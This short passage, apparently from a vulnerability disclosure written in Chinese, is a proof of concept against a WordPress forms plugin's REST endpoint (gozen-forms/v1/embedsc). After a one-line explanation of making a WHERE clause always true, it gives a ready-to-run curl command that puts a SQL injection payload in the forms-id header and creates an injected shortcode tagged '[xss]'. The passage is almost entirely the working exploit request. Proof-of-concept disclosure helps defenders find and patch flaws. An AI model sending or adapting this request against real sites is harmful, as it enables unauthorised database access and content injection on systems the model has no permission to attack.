向 WHERE 子句中注入一个始终为真的条件,使每一行都匹配:
curl -i -X POST \
-H "Content-Type: application/json" \
-H "forms-id: poc-001' OR '1'='1' -- " \
-H "domain-id: example.com" \
-d '{
"emabed_type":"iframe",
"shortcode_title":"INJECTED",
"shortcode_tag":"[xss]",
"active":0
}' \
"http://your-site.com/index.php?rest_route=/gozen-forms/v1/embedsc"